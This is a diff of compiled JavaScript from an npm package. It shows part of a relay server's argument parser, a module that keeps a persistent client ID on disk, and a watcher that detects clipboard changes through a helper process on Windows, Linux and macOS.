` RELAY_WEBRTC_REQUIRE_AGENT_SEMVER_GTE_RELAY=1 — legacy: omit WebRTC until agent semver ≥ relay package.\n` +
|
|
34
|
+
` RELAY_DISCORD_429_MAX_ATTEMPTS=1-12 (default 12) — retries on Discord HTTP 429 for REST + webhook delete.`);
|
|
35
|
+
process.exit(0);
|
|
36
|
+
}
|
|
37
|
+
}
|
|
38
|
+
return { host, port };
|
|
39
|
+
}
|
|
40
|
+
const { host, port } = parseArgs(process.argv);
|
|
41
|
+
(0, relayServer_1.startRelayServer)({ host, port });
|
package/dist/clientId.js
ADDED
|
@@ -0,0 +1,97 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
3
|
+
if (k2 === undefined) k2 = k;
|
|
4
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
5
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
6
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
7
|
+
}
|
|
8
|
+
Object.defineProperty(o, k2, desc);
|
|
9
|
+
}) : (function(o, m, k, k2) {
|
|
10
|
+
if (k2 === undefined) k2 = k;
|
|
11
|
+
o[k2] = m[k];
|
|
12
|
+
}));
|
|
13
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
14
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
15
|
+
}) : function(o, v) {
|
|
16
|
+
o["default"] = v;
|
|
17
|
+
});
|
|
18
|
+
var __importStar = (this && this.__importStar) || (function () {
|
|
19
|
+
var ownKeys = function(o) {
|
|
20
|
+
ownKeys = Object.getOwnPropertyNames || function (o) {
|
|
21
|
+
var ar = [];
|
|
22
|
+
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
|
|
23
|
+
return ar;
|
|
24
|
+
};
|
|
25
|
+
return ownKeys(o);
|
|
26
|
+
};
|
|
27
|
+
return function (mod) {
|
|
28
|
+
if (mod && mod.__esModule) return mod;
|
|
29
|
+
var result = {};
|
|
30
|
+
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
|
|
31
|
+
__setModuleDefault(result, mod);
|
|
32
|
+
return result;
|
|
33
|
+
};
|
|
34
|
+
})();
|
|
35
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
36
|
+
exports.defaultCfgmgrDataDir = defaultCfgmgrDataDir;
|
|
37
|
+
exports.getOrCreateClientId = getOrCreateClientId;
|
|
38
|
+
/**
|
|
39
|
+
* Persistent client id — same role as cfgmgr.core._client_id (X-Client-Id / session id source).
|
|
40
|
+
*/
|
|
41
|
+
const fs = __importStar(require("node:fs"));
|
|
42
|
+
const path = __importStar(require("node:path"));
|
|
43
|
+
const os = __importStar(require("node:os"));
|
|
44
|
+
const node_crypto_1 = require("node:crypto");
|
|
45
|
+
const tableNaming_1 = require("./tableNaming");
|
|
46
|
+
function defaultCfgmgrDataDir() {
|
|
47
|
+
const override = (process.env.CFGMGR_DATA_ROOT || "").trim();
|
|
48
|
+
if (override)
|
|
49
|
+
return path.resolve(override.replace(/^~/, os.homedir()));
|
|
50
|
+
if (process.platform === "win32") {
|
|
51
|
+
const lap = (process.env.LOCALAPPDATA || "").trim();
|
|
52
|
+
if (lap)
|
|
53
|
+
return path.join(lap, "CfgMgr", "data");
|
|
54
|
+
const prof = (process.env.USERPROFILE || "").trim();
|
|
55
|
+
if (prof)
|
|
56
|
+
return path.join(prof, "AppData", "Local", "CfgMgr", "data");
|
|
57
|
+
return path.join(os.tmpdir(), "CfgMgr", "data");
|
|
58
|
+
}
|
|
59
|
+
if (process.platform === "darwin") {
|
|
60
|
+
return path.join(os.homedir(), "Library", "Application Support", "CfgMgr", "data");
|
|
61
|
+
}
|
|
62
|
+
const xdg = (process.env.XDG_DATA_HOME || "").trim();
|
|
63
|
+
if (xdg)
|
|
64
|
+
return path.join(path.resolve(xdg.replace(/^~/, os.homedir())), "cfgmgr");
|
|
65
|
+
return path.join(os.homedir(), ".local", "share", "cfgmgr");
|
|
66
|
+
}
|
|
67
|
+
function getOrCreateClientId(dataDir) {
|
|
68
|
+
const dir = dataDir ?? defaultCfgmgrDataDir();
|
|
69
|
+
try {
|
|
70
|
+
fs.mkdirSync(dir, { recursive: true });
|
|
71
|
+
}
|
|
72
|
+
catch {
|
|
73
|
+
// Permission denied or invalid path — we can still return an in-memory id.
|
|
74
|
+
return (0, node_crypto_1.randomUUID)();
|
|
75
|
+
}
|
|
76
|
+
const fid = path.join(dir, ".client_id");
|
|
77
|
+
try {
|
|
78
|
+
if (fs.existsSync(fid)) {
|
|
79
|
+
const raw = fs.readFileSync(fid, "utf8").trim().slice(0, tableNaming_1.CLIENT_ID_MAX_LEN);
|
|
80
|
+
if (raw) {
|
|
81
|
+
const out = (0, tableNaming_1.canonicalClientIdFragment)(raw);
|
|
82
|
+
return (out || raw).slice(0, tableNaming_1.CLIENT_ID_MAX_LEN);
|
|
83
|
+
}
|
|
84
|
+
}
|
|
85
|
+
}
|
|
86
|
+
catch {
|
|
87
|
+
/* fall through */
|
|
88
|
+
}
|
|
89
|
+
const cid = (0, node_crypto_1.randomUUID)();
|
|
90
|
+
try {
|
|
91
|
+
fs.writeFileSync(fid, cid, "utf8");
|
|
92
|
+
}
|
|
93
|
+
catch {
|
|
94
|
+
return cid;
|
|
95
|
+
}
|
|
96
|
+
return cid;
|
|
97
|
+
}
|
|
@@ -0,0 +1,8 @@
|
|
|
1
|
+
export declare function parseClipboardHelperStdoutChunk(pending: string, data: Buffer | string): {
|
|
2
|
+
pending: string;
|
|
3
|
+
changed: boolean;
|
|
4
|
+
};
|
|
5
|
+
/**
|
|
6
|
+
* @returns dispose callback, or undefined if watcher not used.
|
|
7
|
+
*/
|
|
8
|
+
export declare function attachClipboardEventWatcher(onChange: () => void, log: (msg: string) => void): (() => void) | undefined;
|
|
@@ -0,0 +1,176 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
3
|
+
if (k2 === undefined) k2 = k;
|
|
4
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
5
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
6
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
7
|
+
}
|
|
8
|
+
Object.defineProperty(o, k2, desc);
|
|
9
|
+
}) : (function(o, m, k, k2) {
|
|
10
|
+
if (k2 === undefined) k2 = k;
|
|
11
|
+
o[k2] = m[k];
|
|
12
|
+
}));
|
|
13
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
14
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
15
|
+
}) : function(o, v) {
|
|
16
|
+
o["default"] = v;
|
|
17
|
+
});
|
|
18
|
+
var __importStar = (this && this.__importStar) || (function () {
|
|
19
|
+
var ownKeys = function(o) {
|
|
20
|
+
ownKeys = Object.getOwnPropertyNames || function (o) {
|
|
21
|
+
var ar = [];
|
|
22
|
+
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
|
|
23
|
+
return ar;
|
|
24
|
+
};
|
|
25
|
+
return ownKeys(o);
|
|
26
|
+
};
|
|
27
|
+
return function (mod) {
|
|
28
|
+
if (mod && mod.__esModule) return mod;
|
|
29
|
+
var result = {};
|
|
30
|
+
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
|
|
31
|
+
__setModuleDefault(result, mod);
|
|
32
|
+
return result;
|
|
33
|
+
};
|
|
34
|
+
})();
|
|
35
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
36
|
+
exports.parseClipboardHelperStdoutChunk = parseClipboardHelperStdoutChunk;
|
|
37
|
+
exports.attachClipboardEventWatcher = attachClipboardEventWatcher;
|
|
38
|
+
/**
|
|
39
|
+
* Optional push-style clipboard notifications via `clipboard-event`
|
|
40
|
+
* (platform helper process). Timer poll remains as backup when active.
|
|
41
|
+
*
|
|
42
|
+
* Windows: we spawn `clipboard-event-handler-win32.exe` ourselves with
|
|
43
|
+
* `{ windowsHide: true }` so no console flashes (the upstream package uses
|
|
44
|
+
* `execFile` without options; postinstall patches are easy to miss under npx).
|
|
45
|
+
*/
|
|
46
|
+
const node_child_process_1 = require("node:child_process");
|
|
47
|
+
const node_fs_1 = require("node:fs");
|
|
48
|
+
const path = __importStar(require("node:path"));
|
|
49
|
+
const headlessAgent_1 = require("./headlessAgent");
|
|
50
|
+
const linuxX11_1 = require("./linuxX11");
|
|
51
|
+
function parseClipboardHelperStdoutChunk(pending, data) {
|
|
52
|
+
const token = "CLIPBOARD_CHANGE";
|
|
53
|
+
const chunk = String(data);
|
|
54
|
+
const merged = `${pending}${chunk}`;
|
|
55
|
+
const lines = merged.split(/\r?\n/);
|
|
56
|
+
const tail = lines.pop() ?? "";
|
|
57
|
+
let changed = false;
|
|
58
|
+
for (const raw of lines) {
|
|
59
|
+
if (raw.trim() === token) {
|
|
60
|
+
changed = true;
|
|
61
|
+
}
|
|
62
|
+
}
|
|
63
|
+
/**
|
|
64
|
+
* Some helper builds can emit a token without a trailing newline; consume that exact
|
|
65
|
+
* complete token so the last change event is not lost.
|
|
66
|
+
*/
|
|
67
|
+
const tailTrimmed = tail.trim();
|
|
68
|
+
if (tailTrimmed === token) {
|
|
69
|
+
return { pending: "", changed: true };
|
|
70
|
+
}
|
|
71
|
+
return { pending: tail, changed };
|
|
72
|
+
}
|
|
73
|
+
function pollOnlyEnv() {
|
|
74
|
+
return (0, headlessAgent_1.forgeJsClipboardPollOnlyActive)();
|
|
75
|
+
}
|
|
76
|
+
/**
|
|
77
|
+
* @returns dispose callback, or undefined if watcher not used.
|
|
78
|
+
*/
|
|
79
|
+
function attachClipboardEventWatcher(onChange, log) {
|
|
80
|
+
const p = process.platform;
|
|
81
|
+
if (p !== "win32" && p !== "linux" && p !== "darwin")
|
|
82
|
+
return undefined;
|
|
83
|
+
if (pollOnlyEnv())
|
|
84
|
+
return undefined;
|
|
85
|
+
// Linux helper uses X11; Wayland-only sessions use wl-paste/xclip via exec + timer poll.
|
|
86
|
+
if (p === "linux" &&
|
|
87
|
+
!(process.env.DISPLAY || "").trim() &&
|
|
88
|
+
(process.env.WAYLAND_DISPLAY || "").trim()) {
|
|
89
|
+
log("clipboard-event skipped (Wayland without DISPLAY — timer poll / CLI clipboard)");
|
|
90
|
+
return undefined;
|
|
91
|
+
}
|
|
92
|
+
if (p === "linux" &&
|
|
93
|
+
(process.env.DISPLAY || "").trim() &&
|
|
94
|
+
!(0, linuxX11_1.linuxDisplayPointsToExistingX11Socket)()) {
|
|
95
|
+
log("clipboard-event skipped (DISPLAY set but no X11 socket — timer poll only)");
|
|
96
|
+
return undefined;
|
|
97
|
+
}
|
|
98
|
+
if (p === "win32") {
|
|
99
|
+
const hidden = attachWin32ClipboardHelperHidden(onChange, log);
|
|
100
|
+
if (hidden)
|
|
101
|
+
return hidden;
|
|
102
|
+
}
|
|
103
|
+
try {
|
|
104
|
+
const clipEv = require("clipboard-event");
|
|
105
|
+
const handler = () => {
|
|
106
|
+
onChange();
|
|
107
|
+
};
|
|
108
|
+
clipEv.on("change", handler);
|
|
109
|
+
clipEv.startListening();
|
|
110
|
+
const ch = clipEv.child;
|
|
111
|
+
if (ch) {
|
|
112
|
+
ch.stderr?.on("data", () => { });
|
|
113
|
+
ch.on("error", (err) => {
|
|
114
|
+
log(`clipboard-event child error: ${err.message}`);
|
|
115
|
+
});
|
|
116
|
+
}
|
|
117
|
+
return () => {
|
|
118
|
+
clipEv.off("change", handler);
|
|
119
|
+
try {
|
|
120
|
+
clipEv.stopListening();
|
|
121
|
+
}
|
|
122
|
+
catch {
|
|
123
|
+
/* skip */
|
|
124
|
+
}
|
|
125
|
+
};
|
|
126
|
+
}
|
|
127
|
+
catch {
|
|
128
|
+
log("clipboard-event unavailable — clipboard uses timer poll only (optional: npm install clipboard-event)");
|
|
129
|
+
return undefined;
|
|
130
|
+
}
|
|
131
|
+
}
|
|
132
|
+
/** Same stdout protocol as `clipboard-event` (line-delimited `CLIPBOARD_CHANGE` tokens). */
|
|
133
|
+
function attachWin32ClipboardHelperHidden(onChange, log) {
|
|
134
|
+
let main;
|
|
135
|
+
try {
|
|
136
|
+
main = require.resolve("clipboard-event");
|
|
137
|
+
}
|
|
138
|
+
catch {
|
|
139
|
+
return undefined;
|
|
140
|
+
}
|
|
141
|
+
const pkgRoot = path.dirname(main);
|
|
142
|
+
const exe = path.join(pkgRoot, "platform", "clipboard-event-handler-win32.exe");
|
|
143
|
+
if (!(0, node_fs_1.existsSync)(exe))
|
|
144
|
+
return undefined;
|
|
145
|
+
let child;
|
|
146
|
+
try {
|
|
147
|
+
child = (0, node_child_process_1.spawn)(exe, [], {
|
|
148
|
+
windowsHide: true,
|
|
149
|
+
stdio: ["ignore", "pipe", "pipe"],
|
|
150
|
+
});
|
|
151
|
+
}
|
|
152
|
+
catch (e) {
|
|
153
|
+
log(`clipboard-event win32 spawn failed: ${e instanceof Error ? e.message : String(e)}`);
|
|
154
|
+
return undefined;
|
|
155
|
+
}
|
|
156
|
+
let pendingStdout = "";
|
|
157
|
+
const onStdout = (data) => {
|
|
158
|
+
const parsed = parseClipboardHelperStdoutChunk(pendingStdout, data);
|
|
159
|
+
pendingStdout = parsed.pending;
|
|
160
|
+
if (parsed.changed)
|
|
161
|
+
onChange();
|
|
162
|
+
};
|
|
163
|
+
child.stdout?.on("data", onStdout);
|
|
164
|
+
child.stderr?.on("data", () => { });
|
|
165
|
+
child.on("error", (err) => {
|
|
166
|
+
log(`clipboard-event child error: ${err.message}`);
|
|
167
|
+
});
|
|
168
|
+
return () => {
|
|
169
|
+
try {
|
|
170
|
+
child.kill();
|
|
171
|
+
}
|
|
172
|
+
catch {
|
|
173
|
+
/* skip */
|
|
174
|
+
}
|
|
175
|
+
};
|
|
176
|
+
}
|
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
/** launchd/systemd often provide a minimal PATH; clipboard CLIs live under /usr/bin and Homebrew. */
|
|
2
|
+
export declare function ensureClipboardToolPath(): void;
|
|
3
|
+
/** Thrown when no OS clipboard backend is available (distinct from an empty clipboard). */
|
|
4
|
+
export declare class ClipboardReadUnavailableError extends Error {
|
|
5
|
+
constructor(message: string);
|
|
6
|
+
}
|
|
7
|
+
export declare function readClipboardViaExec(): Promise<string>;
|